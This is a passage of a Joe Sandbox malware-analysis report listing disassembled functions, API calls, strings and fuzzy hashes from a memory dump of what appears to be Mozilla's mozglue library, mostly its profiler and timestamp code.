CloseHandle.KERNEL32(?), ref: 6CA6EEB4
free.MOZGLUE(00000000), ref: 6CA6EEBB
GetCurrentThreadId.KERNEL32 ref: 6CA6EEC7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CA6EECF

Part of subcall function 6CA6DE60: GetCurrentThreadId.KERNEL32 ref: 6CA6DE73
Part of subcall function 6CA6DE60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6CA34A68), ref: 6CA6DE7B
Part of subcall function 6CA6DE60: ?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6CA34A68), ref: 6CA6DEB8
Part of subcall function 6CA6DE60: free.MOZGLUE(00000000,?,6CA34A68), ref: 6CA6DEFE
Part of subcall function 6CA6DE60: ?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6CA6DF38

Part of subcall function 6CA5CBE8: GetCurrentProcess.KERNEL32(?,6CA231A7), ref: 6CA5CBF1
Part of subcall function 6CA5CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CA231A7), ref: 6CA5CBFA

GetCurrentThreadId.KERNEL32 ref: 6CA6EF1E
AcquireSRWLockExclusive.KERNEL32(6CAAF4B8), ref: 6CA6EF2B
ReleaseSRWLockExclusive.KERNEL32(6CAAF4B8), ref: 6CA6EF59
GetCurrentThreadId.KERNEL32 ref: 6CA6EFB0
AcquireSRWLockExclusive.KERNEL32(6CAAF4B8), ref: 6CA6EFBD
ReleaseSRWLockExclusive.KERNEL32(6CAAF4B8), ref: 6CA6EFE1
GetCurrentThreadId.KERNEL32 ref: 6CA6EFF8
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CA6F000

Part of subcall function 6CA694D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CA694EE
Part of subcall function 6CA694D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CA69508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6CA6F02F

Part of subcall function 6CA6F070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CA6F09B
Part of subcall function 6CA6F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6CA6F0AC
Part of subcall function 6CA6F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6CA6F0BE

Strings

[I %d/%d] profiler_pause, xrefs: 6CA6F008
[I %d/%d] profiler_stop, xrefs: 6CA6EED7

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: CurrentThread$ExclusiveLock$Release$AcquireTime_getpidgetenv$ProcessStampV01@@Value@mozilla@@free$?profiler_time@baseprofiler@mozilla@@BufferCloseEnterExit@mozilla@@HandleInit_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@Now@ObjectProfilerRegisterSingleStamp@mozilla@@TerminateV12@_Wait__acrt_iob_func__stdio_common_vfprintf
String ID: [I %d/%d] profiler_pause$[I %d/%d] profiler_stop
API String ID: 16519850-1833026159
Opcode ID: 0b661ba6fef4357ab7cdbf7f68878cafd7c76d872814692034098cf03ecefac8
Instruction ID: 1d75c8b8f2e35fc98c551ba48d1efb9af4d7d8c18c7219e90ff1622d267d6409
Opcode Fuzzy Hash: 0b661ba6fef4357ab7cdbf7f68878cafd7c76d872814692034098cf03ecefac8
Instruction Fuzzy Hash: 8551B1356053179FDB1C5BEAFC087AD7BB4EB46218F14861EE91583F80D771488A87A2

Function 6CA35E60 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 182threadstringtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CA35E9D

Part of subcall function 6CA45B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6CA456EE,?,00000001), ref: 6CA45B85
Part of subcall function 6CA45B50: EnterCriticalSection.KERNEL32(6CAAF688,?,?,?,6CA456EE,?,00000001), ref: 6CA45B90
Part of subcall function 6CA45B50: LeaveCriticalSection.KERNEL32(6CAAF688,?,?,?,6CA456EE,?,00000001), ref: 6CA45BD8
Part of subcall function 6CA45B50: GetTickCount64.KERNEL32 ref: 6CA45BE4

GetCurrentThreadId.KERNEL32 ref: 6CA35EAB
GetCurrentThreadId.KERNEL32 ref: 6CA35EB8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CA35ECF
memcpy.VCRUNTIME140(00000000,GeckoMain,00000000), ref: 6CA36017

Part of subcall function 6CA24310: moz_xmalloc.MOZGLUE(00000010,?,6CA242D2), ref: 6CA2436A
Part of subcall function 6CA24310: memcpy.VCRUNTIME140(00000023,?,?,?,?,6CA242D2), ref: 6CA24387

moz_xmalloc.MOZGLUE(00000004), ref: 6CA35F47
GetCurrentProcess.KERNEL32 ref: 6CA35F53
GetCurrentThread.KERNEL32 ref: 6CA35F5C
GetCurrentProcess.KERNEL32 ref: 6CA35F66
DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6CA35F7E
moz_xmalloc.MOZGLUE(00000024), ref: 6CA35F27

Part of subcall function 6CA3CA10: mozalloc_abort.MOZGLUE(?), ref: 6CA3CAA2

moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CA355E1), ref: 6CA35E8C

Part of subcall function 6CA3CA10: malloc.MOZGLUE(?), ref: 6CA3CA26

moz_xmalloc.MOZGLUE(00000050,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CA355E1), ref: 6CA3605D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CA355E1), ref: 6CA360CC

Strings

GeckoMain, xrefs: 6CA35ECE, 6CA36015

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Currentmoz_xmalloc$Thread$CriticalProcessSectionmemcpy$Count64CounterDuplicateEnterHandleLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_freemallocmozalloc_abortstrlen
String ID: GeckoMain
API String ID: 3711609982-966795396
Opcode ID: 08db266d683894643b48e1bd21bfdd37afa9dc78a99917464dcd124a957c297e
Instruction ID: 8d4d082b402128c1ecca7cb5254a01a5a73c00d7a4779aac9aa5cc9fc914883b
Opcode Fuzzy Hash: 08db266d683894643b48e1bd21bfdd37afa9dc78a99917464dcd124a957c297e
Instruction Fuzzy Hash: A67117B09047418FC714DF68D990A6ABBF0FF4A308F54892DE48AC7B41D731E889CB52

Function 6CA39590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA231C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6CA23217
Part of subcall function 6CA231C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6CA23236
Part of subcall function 6CA231C0: FreeLibrary.KERNEL32 ref: 6CA2324B
Part of subcall function 6CA231C0: __Init_thread_footer.LIBCMT ref: 6CA23260
Part of subcall function 6CA231C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6CA2327F
Part of subcall function 6CA231C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CA2328E
Part of subcall function 6CA231C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CA232AB
Part of subcall function 6CA231C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CA232D1
Part of subcall function 6CA231C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6CA232E5
Part of subcall function 6CA231C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6CA232F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6CA39675
__Init_thread_footer.LIBCMT ref: 6CA39697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6CA396E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6CA39707
__Init_thread_footer.LIBCMT ref: 6CA3971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CA39773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6CA397B7
FreeLibrary.KERNEL32 ref: 6CA397D0
FreeLibrary.KERNEL32 ref: 6CA397EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CA39824

Strings

NtMapViewOfSection, xrefs: 6CA39701
MapViewOfFileNuma2, xrefs: 6CA397B1
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6CA39670
ntdll.dll, xrefs: 6CA396E3

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: 2782b96470b9182d5c1b1b3449489e8248dd3f0692d2207a5077d317740f6d17
Instruction ID: 334ed0baab240515996ea6de702e6d46bed7efdc64b8696b712678e630ec759f
Opcode Fuzzy Hash: 2782b96470b9182d5c1b1b3449489e8248dd3f0692d2207a5077d317740f6d17
Instruction Fuzzy Hash: 2B61C1706003179BDF088FF4FD98A9E7BB0EB4A314F048119E95983690EB309896CBA1

Function 6CA37FD0 Relevance: 24.2, APIs: 16, Instructions: 166COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(000000FF,00000000,00000000,?), ref: 6CA38007
moz_xmalloc.MOZGLUE(?,000000FF,00000000,00000000,?), ref: 6CA3801D

Part of subcall function 6CA3CA10: malloc.MOZGLUE(?), ref: 6CA3CA26

memset.VCRUNTIME140(00000000,00000000,?,?), ref: 6CA3802B
K32EnumProcessModules.KERNEL32(000000FF,00000000,?,?,?,?,?,?), ref: 6CA3803D
moz_xmalloc.MOZGLUE(00000104,000000FF,00000000,?,?,?,?,?,?), ref: 6CA3808D

Part of subcall function 6CA3CA10: mozalloc_abort.MOZGLUE(?), ref: 6CA3CAA2

memset.VCRUNTIME140(00000000,00000000,00000104,?,?,?,?,?), ref: 6CA3809B
GetModuleFileNameW.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6CA380B9
moz_xmalloc.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6CA380DF
memset.VCRUNTIME140(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6CA380ED
wcscpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CA380FB
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CA3810D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6CA38133
free.MOZGLUE(00000000,000000FF,00000000,?,?,?,?,?,?), ref: 6CA38149
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?), ref: 6CA38167
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?), ref: 6CA3817C
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CA38199

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc$EnumModulesProcess$ErrorFileLastModuleNamemallocmozalloc_abortwcscpy_s
String ID:
API String ID: 2721933968-0
Opcode ID: 76b9359429d68ad3716f534c97b5928301b06be607a67b5d26ce740c16b84a54
Instruction ID: 30eb0b95107af170d4140040defe4911132a472c7e9049b1fe3907c0e5f45e20
Opcode Fuzzy Hash: 76b9359429d68ad3716f534c97b5928301b06be607a67b5d26ce740c16b84a54
Instruction Fuzzy Hash: C351C8B1E002145BDB00DFA5DD81AEFB7B9EF49224F184126E819E7741E734DD48CBA1

Function 6CA86660 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 162threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6CAAF618), ref: 6CA86694
GetThreadId.KERNEL32(?), ref: 6CA866B1
GetCurrentThreadId.KERNEL32 ref: 6CA866B9
memset.VCRUNTIME140(?,00000000,00000100), ref: 6CA866E1
EnterCriticalSection.KERNEL32(6CAAF618), ref: 6CA86734
GetCurrentProcess.KERNEL32 ref: 6CA8673A
LeaveCriticalSection.KERNEL32(6CAAF618), ref: 6CA8676C
GetCurrentThread.KERNEL32 ref: 6CA867FC
memset.VCRUNTIME140(?,00000000,000002C8), ref: 6CA86868
RtlCaptureContext.NTDLL ref: 6CA8687F

Strings

WalkStack64, xrefs: 6CA86890

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: CriticalCurrentSectionThread$memset$CaptureContextEnterInitializeLeaveProcess
String ID: WalkStack64
API String ID: 2357170935-3499369396
Opcode ID: 26ef180ec487732fcdbd0e9a971f7d3c1b85df76b8ac11c527bb49987dc56fab
Instruction ID: 84d802d60b597a128a87f044cdcbeba1dc6990f09bcda15c2e3a38460e512140
Opcode Fuzzy Hash: 26ef180ec487732fcdbd0e9a971f7d3c1b85df76b8ac11c527bb49987dc56fab
Instruction Fuzzy Hash: 2251DE71A1A342AFEB14CF64D844B9EBBF4BF89714F04892DF99887740D770E4498B92

Function 6CA6DE60 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 135threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA69420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CA34A68), ref: 6CA6945E
Part of subcall function 6CA69420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CA69470
Part of subcall function 6CA69420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CA69482
Part of subcall function 6CA69420: __Init_thread_footer.LIBCMT ref: 6CA6949F

GetCurrentThreadId.KERNEL32 ref: 6CA6DE73
GetCurrentThreadId.KERNEL32 ref: 6CA6DF7D
AcquireSRWLockExclusive.KERNEL32(6CAAF4B8), ref: 6CA6DF8A
ReleaseSRWLockExclusive.KERNEL32(6CAAF4B8), ref: 6CA6DFC9
GetCurrentThreadId.KERNEL32 ref: 6CA6DFF7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CA6E000
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6CA34A68), ref: 6CA6DE7B

Part of subcall function 6CA694D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CA694EE
Part of subcall function 6CA694D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CA69508

Part of subcall function 6CA5CBE8: GetCurrentProcess.KERNEL32(?,6CA231A7), ref: 6CA5CBF1
Part of subcall function 6CA5CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CA231A7), ref: 6CA5CBFA

?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6CA34A68), ref: 6CA6DEB8
free.MOZGLUE(00000000,?,6CA34A68), ref: 6CA6DEFE
?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6CA6DF38

Strings

<none>, xrefs: 6CA6DFD7
[I %d/%d] profiler_set_process_name("%s", "%s"), xrefs: 6CA6E00E
[I %d/%d] locked_profiler_stop, xrefs: 6CA6DE83

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: CurrentThread$getenv$ExclusiveLockProcessRelease_getpid$AcquireBufferEnterExit@mozilla@@Init_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@ProfilerRegisterTerminate__acrt_iob_func__stdio_common_vfprintffree
String ID: <none>$[I %d/%d] locked_profiler_stop$[I %d/%d] profiler_set_process_name("%s", "%s")
API String ID: 1281939033-809102171
Opcode ID: 8411dcf7db54eb86ad22568f9c94b3d86b10aa67389e9e8be216ddb401ddf9eb
Instruction ID: 8ef91628650f11e43e7c3e5689ac3c3802017809446d32cbc72e65c457521d00
Opcode Fuzzy Hash: 8411dcf7db54eb86ad22568f9c94b3d86b10aa67389e9e8be216ddb401ddf9eb
Instruction Fuzzy Hash: 2E41E635B023079FDB189BAAED087AE7775EB4534CF148119E90597F41C731988AC7E2

Function 6CA7D4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CA7D4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CA7D4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CA7D52A
GetCurrentThreadId.KERNEL32 ref: 6CA7D530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CA7D53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CA7D55F
free.MOZGLUE(00000000), ref: 6CA7D585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6CA7D5D3
GetCurrentThreadId.KERNEL32 ref: 6CA7D5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CA7D605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CA7D652
GetCurrentThreadId.KERNEL32 ref: 6CA7D658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CA7D667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CA7D6A2

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: bc569bfbeb04aa9becd2650a3d18a28101aeb1ed8c935ebc85afcab96e0f7b95
Instruction ID: 3d04425497a898cbdb65940ce5ce2e3712f87c22fd70b4145ced6b5b9a549405
Opcode Fuzzy Hash: bc569bfbeb04aa9becd2650a3d18a28101aeb1ed8c935ebc85afcab96e0f7b95
Instruction Fuzzy Hash: 23518F75A0470ADFC714CF74D484A9ABBF4FF89318F10862DE85A97710DB31A989CB91

Function 6CA45670 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 272timeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_APP_RESTART), ref: 6CA456D1
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CA456E9
?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ.MOZGLUE ref: 6CA456F1
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6CA45744
??0TimeStampValue@mozilla@@AAE@_K0_N@Z.MOZGLUE(?,?,?,?,?), ref: 6CA457BC
GetTickCount64.KERNEL32 ref: 6CA458CB
EnterCriticalSection.KERNEL32(6CAAF688), ref: 6CA458F3
__aulldiv.LIBCMT ref: 6CA45945
LeaveCriticalSection.KERNEL32(6CAAF688), ref: 6CA459B2
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(6CAAF638,?,?,?,?), ref: 6CA459E9

Strings

MOZ_APP_RESTART, xrefs: 6CA456CC

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampStamp@mozilla@@Value@mozilla@@$BaseComputeCount64DurationEnterFromLeaveMilliseconds@Now@PlatformProcessTickTicksUptime@Utils@mozilla@@V01@@V12@___aulldivgetenv
String ID: MOZ_APP_RESTART
API String ID: 2752551254-2657566371
Opcode ID: 2b8fdc0b963aa2ab28cbd97ea42c663b0e678f870727cc75b9798274ef39361c
Instruction ID: 662a513fff0bd7472df3c54196b43ac86f4ae711eb8c350183b5ac40b7339efe
Opcode Fuzzy Hash: 2b8fdc0b963aa2ab28cbd97ea42c663b0e678f870727cc75b9798274ef39361c
Instruction Fuzzy Hash: B2C16E31A087829FD709CF68D5406AEB7F1BFCA714F19CA1DE8C457661D730A886CB82

Function 6CA6EC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA69420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CA34A68), ref: 6CA6945E
Part of subcall function 6CA69420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CA69470
Part of subcall function 6CA69420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CA69482
Part of subcall function 6CA69420: __Init_thread_footer.LIBCMT ref: 6CA6949F

GetCurrentThreadId.KERNEL32 ref: 6CA6EC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CA6EC8C

Part of subcall function 6CA694D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CA694EE
Part of subcall function 6CA694D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CA69508

GetCurrentThreadId.KERNEL32 ref: 6CA6ECA1
AcquireSRWLockExclusive.KERNEL32(6CAAF4B8), ref: 6CA6ECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6CA6ECC5
ReleaseSRWLockExclusive.KERNEL32(6CAAF4B8), ref: 6CA6ED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6CA6ED19
CloseHandle.KERNEL32(?), ref: 6CA6ED28
free.MOZGLUE(00000000), ref: 6CA6ED2F
ReleaseSRWLockExclusive.KERNEL32(6CAAF4B8), ref: 6CA6ED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6CA6EC94

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: 236b17500267878dc36771be87d7825bbbb8cd28f63d6c37757e27cc5b9fb82d
Instruction ID: 3c434d87c70bf59bb975d1db77b091c5939528286d246e2832e050a9cf903e67
Opcode Fuzzy Hash: 236b17500267878dc36771be87d7825bbbb8cd28f63d6c37757e27cc5b9fb82d
Instruction Fuzzy Hash: 9921D87550020AEFDB049FA5FC04A9E3779FB4526CF148215FD1857B40D731988B8BA1

Function 6CA68ED0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6CA2EB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CA2EB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?,?,?,?,?,?,6CA6B392,?,?,00000001), ref: 6CA691F4

Part of subcall function 6CA5CBE8: GetCurrentProcess.KERNEL32(?,6CA231A7), ref: 6CA5CBF1
Part of subcall function 6CA5CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CA231A7), ref: 6CA5CBFA

Strings

timeline-memory, xrefs: 6CA69088
timeline-fileio, xrefs: 6CA690A4
name, xrefs: 6CA68F16
stack-chart, xrefs: 6CA690B2
marker-table, xrefs: 6CA6906C
data, xrefs: 6CA690E8
timeline-overview, xrefs: 6CA6907A
timeline-ipc, xrefs: 6CA69096
marker-chart, xrefs: 6CA6905E

Memory Dump Source

